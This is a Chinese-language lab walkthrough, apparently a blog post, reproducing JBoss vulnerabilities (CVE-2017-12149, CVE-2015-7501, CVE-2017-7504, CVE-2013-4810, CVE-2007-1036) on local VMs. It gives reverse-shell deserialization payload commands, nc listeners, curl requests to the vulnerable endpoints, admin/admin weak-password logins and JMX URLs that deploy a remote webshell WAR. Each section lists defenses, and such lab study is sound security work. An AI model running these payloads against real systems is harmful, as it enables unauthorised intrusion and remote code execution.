目录
1. HttpInvoker 组件(CVE-2017-12149)
2. JMXInvokerServlet组件(CVE-2015-7501)
4. EJBInvokerServlet组件(CVE-2013-4810)
3. JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)
一、JBoss是什么?
JBoss是一套开源的企业级Java中间件系统,用于实现基于SOA的企业应用和服务,基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
二、安装环境
JBoss下载地址:https://jbossas.jboss.org/downloads/
jdk下载地址:https://www.oracle.com/java/technologies/downloads/
1. Jdk
由于漏洞不是JBoss4就是6的环境,没办法得整两套,如果硬件支持的话,建议开两个虚拟机,就非常方便哈。环境是重点,就吃了没仔细看说明的亏,用了jdk1.8,导致后面访问JMX-console报错,放开那个雷,让我来踩
jdk1.6支持JBoos4
jdk1.7支持JBoos6
2. 下载JBoos4、6,并进行配置
我用了JBoss AS 6.1.0.Final、4.2.3,你也可以用其他,可能复现和我点出入,建议第一次可以可以按照我的走,后面可以尝试下其他版本(如果是大佬那就当我没说)
JBoss AS 6.1.0.Final直接下载zip,4.2.3还得在选择一次,我选的jboss-4.2.3.GA-jdk6
都下载后配置环境变量,添加一个JBOSS_HOME属性,都为bin目录的上一级目录,并在path中添加%JBOSS_HOME%/bin
如果要外网访问的话要修改jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml文件,把下图红框位置的address属性值改成0.0.0.0即可(4.2.3文件路径为jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer下)
最后,打开双击bin目录下的run.bat,等一小会,你就可以看到此页面
6和4这个主页有点不一样,我这个是6
三、 反序列漏洞
exp:https://github.com/joaomatosf/JavaDeserH2HC
kali :192.168.50.72
靶机 :192.168.50.169
宿主机:192.168.50.59
下载完成后到JavaDeserH2HC下,执行
javac -cp commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.50.72:12345
生成反序列化payload
.:不能省略,至于为什么不清楚,只能借助java大佬的帖子,强行解释了,
这些准备工作完了,就可以开始复现了
1. HttpInvoker 组件(CVE-2017-12149)
漏洞原理
存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。
影响版本
Jboss AS 5.x
Jboss AS 6.x
漏洞验证
访问/invoker/readonly,返回500,说明此页面存在反序列化漏洞
开两个终端,一个进行监听(nc -lvnp 12345),另一个发payload
curl http://192.168.50.169:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
@不能省略
最后,成功反弹shell
防御
- 升级最新版本
- 删除http-invoker.sar 组件(jboss-6.1.0.Final\server\default\deploy\http-invoker.sar)
- 在jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml的security-constraint 标签下添加<url-pattern>/*</url-pattern>
2. JMXInvokerServlet组件(CVE-2015-7501)
漏洞原理
JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
影响版本
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
漏洞验证
访问/invoker/JMXInvokerServlet,返回保存文件,说明接口开放,此接口存在反序列化漏洞。
和上面利用方式一样,只是链接不一样
curl http://192.168.50.169:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
防御
和上面一样
3. JBossMQ(CVE-2017-7504)
漏洞原理
这个漏洞与CVE-2015-7501一样,都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。差别在于CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet。
影响版本
Jboss AS 4.x及之前版本
漏洞验证
访问/jbossmq-httpil/HTTPServerILServlet,出现此页面,说明存在该漏洞
curl http://192.168.50.169:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
防御
- 升级最新版本
4. EJBInvokerServlet组件(CVE-2013-4810)
漏洞原理
此漏洞和CVE-2015-7501漏洞原理相同,两者的区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。
影响版本
jboss 6.x 版本
漏洞验证
访问/invoker/EJBInvokerServlet,返回保存文件,说明接口开放,此接口存在反序列化漏洞。
curl http://192.168.50.169:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
防御
同(CVE-2017-12149)
四、 War后门文件部署
1. admin-cosole(爆红接着传)
复现
admin/admin弱口令登录后台,点击add a new resource上传war包
上传后报红了,以为不能部署,把我折磨了很久还以为我下的环境有问题,总而言之,警告归警告,该传还得传,最后发现包已经war已经部署到上面去了,发两次,第二次警告会说已经部署
接下来就连你的马子
防御
1. 改强密码(jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties)
2. 删除admin-console页面
2. JMX-console
jBoss4
复现
点击jboss.deployer下面的链接
进去后寻找addURL(),修改ParamValue值为你远程war链接,点击Invoke,最后回到这个页面寻找Apply changes点击
这些都干了,来页面joss.web.deployment
于是乎访问你的马子,他就成了
这套操作适用于JBoos6,只是有点小出入,不用点击Apply changes
JBoos6
复现
寻找jboss.system,点击service=MainDeployer
找到该函数deploy,并在输入框里面写入远程war包链接最后点击Invoke
或者访问或者访问/jmx-console/HtmlAdaptor?
action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.50.59/shell.war进行部署
最后,访问你的马子
防御
关闭JMX-console和web-console页面
3. JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)
复现
访问
/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository定位store函数
p1传入的部署war包的名字,p2传入的是上传文件的文件名,p3传入的是上传文件的后缀,p4传入的是上传文件的内容
注:冰蝎马上传后页面异常,无法连接
防御
官方发布修复补丁
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1036